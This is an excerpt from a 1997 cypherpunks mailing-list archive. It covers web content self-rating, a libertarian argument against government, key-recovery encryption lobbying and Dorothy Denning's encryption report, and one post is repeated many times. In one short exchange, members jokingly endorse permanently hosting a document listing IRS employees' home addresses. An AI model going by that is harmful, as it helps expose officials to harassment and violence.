> > Even if government were to insist that everyone self rated, it would
> > be damn near meaningless.
> 
> I think you are seriously underestimating the usefullness of 
> self-rating.  Yes, indeed, there are people who will spoof them, or 
> who may have a completely weird view of the world that allows them an 
> odd interpretation of what the ratings mean, so you won't get 100% 
> coverage.  

problem #1: I think the coverage rate will be abysmal.  People are
lazy.  Are you really going to go modify all your html files?  I've
got 8 megs of material on my personal web site
(http://www.dcs.ex.ac.uk/~aba/), and I can barely generate the energy
to apply dead link mods which people email me.

problem #2: If government "asks" you to self-rate your pages, that
will in a lot of net people generate ire, they'll monkeywrench their
rating in some creative way.

problem #3: Kids can hack around the system anyway, so it doesn't
matter whether it's rated or not.  Especially where "hacking" around
the system consists of just downloading a free browser from
netscape.com, or installing one off a magazine cover CD.  Are the
government going to legally require netscape to release browsers which
are content crippled and require an is-an-adult cert to disable it?
So just use an older browser.  I'm sure kids will be trading adult
certs like football cards at school.  Internet drivers license is
another likely dumb move to try to enforce it.

Given the likely dubious reliability of the ratings, and near semantic
meaningless because of differening values, political and moral beliefs
in various communities in different parts of the world it looks like a
non-starter to me.

Further presuming the government goes for it anyway, I can't see them
managing to persuade many people to use it.

As you note some porn sites will probably rate themselves, but they
will only be doing it to generate more hits (search engines looking
specifically for such pages).  As Dimitri noted under 21s are probably
generating most of the porn hits anyway. (It is 21 in parts of the US
right?  Surely they're not serious that you can have been legally
married 5 years before you're allowed to view soft porn?  It'll be 16
or 18 in UK)

> > General rhetorical question: indeed why have governments at all?
> 
> General rhetorical answer:  Because people are the way they are.

I'll take this comment to a new message.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 1 Aug 1997 03:46:39 +0800
To: Mike Duvos <cypherpunks@cyberpass.net
Subject: Re: I did get the infamous IRS letter after all
In-Reply-To: <Pine.GSO.3.95.970731085532.17782D-100000@eff.org>
Message-ID: <3.0.2.32.19970731212403.006e6258@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:34 AM 7/31/97 -0700, Mike Duvos wrote:
>
>> In previous court hearings, IRS
>> Inspectors testified that BELL had obtained the names and home addresses of
>> 70 IRS employees as part of  "Operation LocatIRS." 
>
>Hmmm.  Would http://irs.agents.eternity/ be an appropriate permanent
>respository for this valuable document?  :)

Undoubtedly.  :-)


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 1 Aug 1997 05:09:45 +0800
To: cypherpunks@cyberpass.net
Subject: free market services vs monopoly government
Message-ID: <199707312059.VAA03086@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




I wrote at the bottom of another post:
> General rhetorical question: indeed why have governments at all?

and Kent Crispin parried:
: General rhetorical answer:  Because people are the way they are.

Kent you seem to harbor the belief that government monopoly is a good
thing, or at least that government is somehow an unavoidable necessary
evil.  I doubt I'll convince you otherwise, but in case there are
other people reading who still think governments the best way of doing
anything, I'll try to explain why I think government monopoly is a bad
thing.

Are you opposed to free markets?

Government holds a number of monopolies.  These monopolies are not
efficient.  They result in resource wastage on a mind boggling scale.
The USG has pretty much bankrupt your country, the US national debt
being I understand at a level where US citizens collectively do not
have the resources to pay it off.  If a privately or publicly held
company got to that stage the receivers would be sent in. 

The success that a country does enjoy is pretty much proportional to
the degree of market freedom.  Luckily for us our governments have
left a bit of freedom in markets, or we would have food shortages, and
rationing.

In economies with extremely low amounts of market freedom, the readily
observable inefficiency demonstrates my point.  (eg Former Soviet
Union communist economy).

Governments tend to grow, and soak up larger tax percentages, and
encroach into more aspects of life which were previously a question of
free choice, or were previously purely market driven.  The reason for
this growth is due to the government as an entity unconciously
promoting itself as an organism.  A great huge cancerous growth which
has us by the jugular.

The reason governments as businesses can get away with their abysmal
performance is because they have a near complete monopoly.

A good start would be a choice in government, to generate some
competition.  So you can buy membership in a protection racket, hire
the services of a private security firm, or buy insurance from an
insurance group because of its benefits package, or go elsewhere if
the offering sucks.  You choose on an individual basis what package
best suits you, and you choose the service providers who you consider
as the best value for money.

eg. I can go buy into Uncle Enzo's pizza delivery and protection
racket because the protection is 5000% better value for money than the
Feds deal.

I can pick and choose the services I want to produce a mix which
satisfies me.  Double efficiency, people don't have services provided
for them which they actively don't want, and I can buy services which
the government attempts to prevent the market from providing, so my
requirements are better met.

As well as the increased efficiency obtained in provision of services
which governments are currently holding monopolies on, the reduced
taxation and regularatory burdens put on the economy would cause a
boom.

And your argument is?

That people want government?  Fine, let those sheeple that do want
something even more oppresive and intrusive than the current
government buy into whatever form of oppresive cult they want.
Perhaps a sheltered perimeter gaurded enclave where all media is
censored, there is capital punishment for spitting on the side walk,
evil thoughts results in public flogging, etc, and where the taxation
rate is 90% would suit them to a T.

Great!  We need some evolutionary pressures anyway.

So which mix would you choose Kent?

Or are you arguing that there are lots of stupid people, and that you
are happy to let their ill-informed choices, and their willingness to
go with the bankrupt corrupt status quo fuck your life up?  Why should
there be blanket decisions made and forced upon you as an individual.
Free choice makes for much more efficiency in terms of economics, and
in terms of individuals happiness.


Here's a reading list for those interested in disbanding government
and replacing it with services purchased on the free market:

"Snow Crash", Neal Stephenson
	Snow Crash is a sci-fi novel giving a depiction depictions of
	life with choice in services, private law enforcement services
	competing with Uncle Enzo's pizza mafia.

"The Moon is a Harsh Mistress", Heinlein
	The Moon is a Harsh Mistress is a sci-fi novel giving a
	depiction of a wild-west like legal system.  There are no
	laws, excepting individual responsibility.

"Machinery of Freedom" 2nd Ed, David Friedman
	Machinery of Freedom talks about free market methods to provide
	services that have traditionally been provided by government.

"The Wealth of Nations", Adam Smith

	The Wealth of Nations is an interesting book despite being
	published in 1776.  Didn't have his judgement clouded by this
	namby-pamby socialist/communist junk.  Pure capitalism,
	examining why the free market is efficient.

"The Road to Serfdom", Hayek

	Road to Serfdom explains in Hayeks view that socialism is a
	slippery slope leading to economic decline and communism.  In
	context of Nazism after second world war.  He makes the case
	that Socialism the root of much evil.


Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 1 Aug 1997 11:22:48 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-US-9707-31-breast.milk-
Message-ID: <199708010310.WAA24360@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
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   Main banner $9.95 Unlimited Internet. Click Here. 
   
     rule
     
             POLICE: DRUG-ADDICT MOM KILLED BABY WITH BREAST MILK
                                       
      Powell July 31, 1997
     Web posted at: 10:55 p.m. EDT (0255 GMT)
     
     TUCSON, Arizona (AP) -- Police have charged a woman with murder,
     claiming her breast milk was so full of heroin and methadone that it
     killed her 7-week-old daughter.
     
     The father was also charged with murder for not intervening,
     authorities said.
     
     "It's true with any form of child abuse that it's preventable, but
     this one seems to be more preventable. It seems to be more of a
     conscious choice," Tucson Police Detective Sgt. Brett Klein said
     Thursday.
     
     Doctors put Eve Powell into the intensive care unit after she was
     born on May 16 because she was dependent on methadone, the
     opium-based drug used to help wean heroin addicts.
     
     Before sending Eve home from the hospital a month later, medical
     workers warned the baby's 24-year-old mother, Amoret Powell, that
     resuming her heroin habit while breast-feeding could kill the baby,
     police said.
     
     But on July 10, tiny Eve was rushed to another hospital,suffering
     from severe oxygen deprivation. She died the next day.
     
     On Wednesday, authorities charged Amoret Powell with first-degree
     murder, alleging that she killed her daughter by giving her
     drug-filled breast milk.
     
     Police found used syringes and other drug paraphernalia in her home,
     and she admitted using heroin after Eve's birth, Klein said.
     
     Test results from Eve's body are pending, but doctors say the
     heroin-methadone combination can cause the oxygen deprivation that
     killed the baby.
     
     Eve's father, Robin Johnson, 33, also was charged with murder
     because the death resulted from child abuse and he did nothing to
     stop it, Klein said. Each is being held on $1 million bond.
     
     Powell is not the first mother to face a murder charge fornursing a
     child while using drugs. A jury in Bakersfield, California,
     deadlocked on a murder charge but convicted a woman of child
     endangerment after she nursed while using methamphetamine. Another
     woman in Los Angeles pleaded guilty to child endangerment for also
     nursing while using methamphetamine.
     
     The Associated Press contributed to this report.  Search for related
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 1 Aug 1997 11:00:16 +0800
To: cypherpunks@toad.com
Subject: Re: House Report on SAFE
In-Reply-To: <3.0.2.32.19970731222819.0072614c@pop.mhv.net>
Message-ID: <3.0.2.32.19970731223650.006bdca8@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 7/31/97 -0400, Declan McCullagh wrote:
>
>Note the following ominous excerpt from one of the letters:
>
>
>"We are in unanimous agreement that congress must adopt
>encryption legislation that requires the development,
>manufacture, distribution and sale of only key recovery
>products."
>
>Darrell L. Sanders, President, International Association of
>Chiefs of Police.
>
>James E. Doyle, President, National Association of
>Attorneys General.
>
>Fred Scoralic, President, National Sheriffs' Association.


Scoralick is the Dutchess County Sheriff (I've always spelled his name
ending with a "k" when I've served writs on him).  Anyway, I would be ever
so happy to write a letter to him denouncing his position and would also be
ever so happy to express the viewpoint of any others. Just let me know....


***********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
***********************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Thu, 31 Jul 1997 21:17:54 +0800
To: John Young <jya@pipeline.com>
Subject: Re: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <199707311300.XAA06641@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   John Young said:


>Note: that's JYX.COM, (same as 108240.primehost.com) 
>our temp site to fill in for remanded JYA which  is to be unJimmed 
>soon, isn't it, your honor, what stink you screeching about, that's
>just rotting pork.

I must have missed a post on this. Have you been ordered to remove 
material by Jim Bell? Has equipment been seized?

(Feel free to cc: cypherpunks if it's relevant) 

Any background on this would be appreciated, or any pointers to texts you 
may have online already explaining it are equally welcomed.

Rgds.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 07:47:47 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312340.RAA04631@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 07:52:53 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312345.RAA04905@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 07:55:35 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312350.RAA05092@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:04:10 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199707312355.RAA05294@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:07:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010000.SAA05487@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:16:01 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010011.SAA05984@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:18:06 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010006.SAA05741@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:21:32 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010016.SAA06192@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:30:07 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010022.SAA06398@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:35:19 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010027.SAA06580@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:43:47 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010033.SAA06763@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 08:47:26 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010038.SAA06955@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

